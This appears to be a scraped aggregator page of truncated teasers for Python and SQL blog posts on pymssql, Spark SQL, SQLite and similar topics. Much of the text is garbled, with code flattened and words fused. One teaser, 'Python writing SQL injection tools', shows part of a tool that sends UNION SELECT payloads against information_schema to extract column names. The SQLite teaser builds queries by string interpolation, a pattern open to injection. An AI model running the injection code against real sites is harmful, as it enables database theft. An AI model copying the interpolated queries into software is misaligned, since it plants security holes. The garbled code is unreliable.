python sql parser

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Python Split sql file

Before using Joomla to help a school to make a website, and then to deploy to them to the server, they only provide sftp and phpMyAdmin account, upload website file is quite smooth, But later with phpMyAdmin import MySQL data on the problem: because they set the phpMyAdmin maximum can only import 2M SQL file, if too General Assembly cause cannot import success, but my SQL file has 17M ah ~~~~~~~~~ No way, c

Python+sql Chinese garbled problem

Tags: Python sql Chinese garbled #coding:utf-8 importpymssql importsys classmssql: def__init_ _ (self,host,port,user,pwd,db): Reload (SYS) sys.setdefaultencoding (' UTF8 ') NBSP;NBSP;NBSP;NBSP;NBSP;IFNBSP;NOTNBSP;DB: raise (nameerror,u "Not set Database Information") self.conn =pymssql.connect (host=host,port=port,user=user,password=pwd,database=db, charset= "UTF8") self.cur=self.conn.cursor () ifno

Python access to SQL Server

Label:#coding =utf-8#!/usr/bin/env python#-------------------------------------------------------------------------------# Name:pymssqlTest.py# Purpose: Test pymssql Library, the library to download here: http://www.lfd.uci.edu/~gohlke/pythonlibs/#pymssql## Author:scott## created:04/02/2012#-------------------------------------------------------------------------------ImportPymssqlclassMSSQL:"""A simple package for pymssqlPymssql Library, the library

Spark SQL InferSchema Implementation rationale (Python) "Go"

Tag:log call tty subclass Match div Data steps unified Using spark SQL is based on several tables of "register", an important part of which is the pattern, and Spark SQL offers two options for users to choose from: (1) applyschema Applyschema mode requires user code to display the specified pattern, the advantages: The data type is clear, the disadvantage: many tables have a certain amount of code work

Spark SQL InferSchema Implementation rationale (Python)

Label: Using spark SQL is based on several tables of "register", an important part of which is the pattern, and Spark SQL offers two options for users to choose from: (1) applyschema Applyschema mode requires user code to display the specified pattern, the advantages: The data type is clear, the disadvantage: many tables have a certain amount of code work. (2) inferSchema InferSchema mode without

Python Operations SQL Server

Tags: org share object execution user off HTM connections recordFirst, the use of modules introduction and installation 1. The module used by Python to operate SQL Server is pymssql. 2, pymssql installation, directly using PIP install pymssql to install. Ii. introduction of Python Operations SQL Server 1, database conn

Python accesses MS SQL Server (via PYODBC)

(host= "localhost", user= "sa", pwd= "123456", db= "Pythonweibostatistics") the reslist = Ms. ExecQuery ("Select Id,nickname from Weibouser") + For (Id,nickname) in reslist: - print str (ID), nickname $ """ $cur = self.__get_connect() - cur.execute (SQL) -Reslist =Cur.fetchall () the - #connection must be closed after query is completeWuyi self.conn.close () the returnreslist - Wu defexec_query_tuple (Self,

Python connects SQL Server database MSSQL

Python wants to interact with the MSSQL database by first downloading the package named "Pymssql" and then import the package.Address: Https://pypi.python.org/pypi/pymssql/2.1.0#downloadsBaidu Cloud (3.4win32+64): http://pan.baidu.com/s/1eSyPO5cAfter download, the system automatically selects the folder where Python is located and installs it in the Python\lis\si

Linux/sql/java/python/devops recommend a wave (special share of World Book Day + welfare)

Tags: operations database python Java managementThe history of human reading is almost the history of human civilization. Book is the carrier of human spiritual wealth, human progress and achievements are recorded in the book, Inherit and flourish. "World Study Day" is only one day, but its meaning is to make every day a "reading Day". Let reading become our lifelong pursuit of "fashion." In this special day, we recommend a wave of linux/

Applying SQL and SQLAlchemy in Python (i)

Take SQLit3 as an example: ImportSqlite3conn= Sqlite3.connect ('Db.sqlite3')#Get Cursor ObjectCur =conn.cursor ()#execute a series of SQL statements#Create a table#cur.execute ("CREATE TABLE demo (num int, str vachar ());")#insert Some RecordsCur.execute ("INSERT into demo values (%d, '%s ')"% (1,'AAA')) Cur.execute ("INSERT into demo values (%d, '%s ')"% (2,'BBB'))#Update a recordCur.execute ("Update demo set str= '%s ' where num =%d"% ('DDD', 3))#En

Python Opearte Ms-sql Use pymssql

Label:See a lot of open source database will use the same mysql,python also used, but I have been accustomed to the use of graphical interface, very strong operation Ms-sql See Python also provides Ms-sql connection method, need to use pymssql. In the Windows DOS cmd command, enter: Pip Install Pymssl About Pymssql Doc

Python for Infomatics chapter 14th database and SQL application four (translated)

UPDATE statement statement to set the value of the Get column to 1, indicating that we have finished getting the job. This prevents duplicate fetches and keeps the program moving forward on the network with Twitter friends. If we run a buddy program and enter two times to get a friend of the next unreachable friend and then run the replicator, it will give the following output: (U ' opencontent ', 1, 1)(U ' Lhawthorn ', 1, 1)(U ' Steve_coppin ', 0, 1)(U ' davidkocher ', 0, 1)(U ' hrheingold ',

Python writing SQL injection tools (3)

=strings.split (',') returns#To guess the field name defInject5columnsname (SELF,TB): URL=self.url+'%20and%201=2%20union%20select%20' forXinchRange (1,self.counts+1): ifX!=1: URL+=','URL+='concat (0x25,'URL+='Group_concat (distinct+column_name)'URL+=', 0x25)'URL+='%20from%20information_schema.columns%20where%20table_name='URL+=TB Pagec=urllib.urlopen (URL). Read () Reg="%[a-z,0-9,a-z,., \,,\-,\\,@,:]*%"Regob=Re.compile (Reg, re. Dotall) Result=Regob.findall (

[Spark] [Hive] [Python] [SQL] A small example of Spark reading a hive table

[Spark] [Hive] [Python] [SQL] A small example of Spark reading a hive table$ cat Customers.txt1Alius2Bsbca3Carlsmx$ hiveHive>> CREATE TABLE IF not EXISTS customers (> cust_id String,> Name string,> Country String>)> ROW FORMAT delimited fields TERMINATED by ' \ t ';hive> Load Data local inpath '/home/training/customers.txt ' into table customers;Hive>exit$pysparkSqlContext =hivecontext (SC)Filterdf=sqlconte

SQL and Python statistics IP (user) top-up amount of the day

SQL query the day of the Recharge record importSQL code--Query the day's data select*fromawheregeneratetime=sysdate--query for one weeks of data select*from awhere (sysdate-generaetime) =7--query for one months data select*fromawheremonths _between (sysdate,generatetime) =1--query data for a given day select*fromtablewherecol between ' 2009-7-17 ' and ' 2009-7-18 ' select*fromtbwheredatetime > ' 2010-5-14 ' anddatetime

Python connects to SQL Server

Examples of Python connection to SQL Server:Import Pymssqlconn=Pymssql.connect (Host='SQL01',User='User', password='Password',Database='MyDatabase') cur=Conn.cursor() cur.Execute('CREATE TABLE Persons (ID INT, name VARCHAR )') Cur.executemany ("INSERT intoPersonsVALUES(%D, xinos.king) ",[(1, ' John Doe '), (2, ' Jane Doe ')]) Conn.Commit() # Must callCommit() toPersist your dataifYou don'T set autocommit t

Change the SQL format file to the format you want with Python

INSERT into TTT (Nsame, ID, age) VALUES (' AAA ', ' 201023210816 ', ' 22 ');Change the SQL format above to the following formatAaa|201023210816|22Import oslists=[]paths = OS.GETCWD () for root,dirs,files in Os.walk (' Wfyh '): For fn in files: lists.append (FN) For NMB in lists: dfile=open ("wfyh\\" +NMB, ' R ') nmbb=nmb.replace ('. sql ', ') ofile=open ("wf_test\\" + nmbb+ '. txt ', ' W

Remote cleanup of SQL Server database server logs with Python scripts

Python remotely clears the SQL Server database servers log for reference: # CODING=GBK From encodings Import GBK Import re Import Sys Import OS Import Pyodbc Import Traceback Import Decimal #连接数据库 conn = Pyodbc.connect (' Driver={sql Server}; Server=192.168.1.43;database=master; Uid=sa; Pwd=passwd123123 ') # get the cursor object to manipulate cursor

Python init method vs. SQL statement current time

DEF init (SELF,CR):Tools.sql.drop_view_if_exists (CR,' Custrom_product_infomation_report ')Cr.execute ("""Create or Replace viewcustrom_product_infomation_report as (Select t0.id,t0.hpartner_id as hpartner_id, T0.khwl_code as khwl_code,t1.product_tmpl_id as PRODUCTN,T3.pname,t3.material,t3.spec,T4.id as Name_uom, T5.price as Custo_price,t0.product_meno as Product_meno, T0.meno as Meno,t5.date_from,t5.date_toFrom Product_custo_info t0Left JOIN product_product T1 on t0.product_tmpl_id=t1.product_t

Spark SQL Table Join (Python)

outer joinrows =Sqlctx.sql ("Select Table1.name, Table1.title, table2.fraction from table1 to outer join table2 on table1.name = Table2.name"). Collect () printrows (rows)#Right outer joinrows =Sqlctx.sql ("Select Table1.name, Table1.title, table2.fraction from table1 right outer join table2 on table1.name = Table2.name"). Collect ()Print "============================================="printrows (rows)#Full outer JOINrows =Sqlctx.sql ("Select Table1.name, Table1.title, table2.fraction from table

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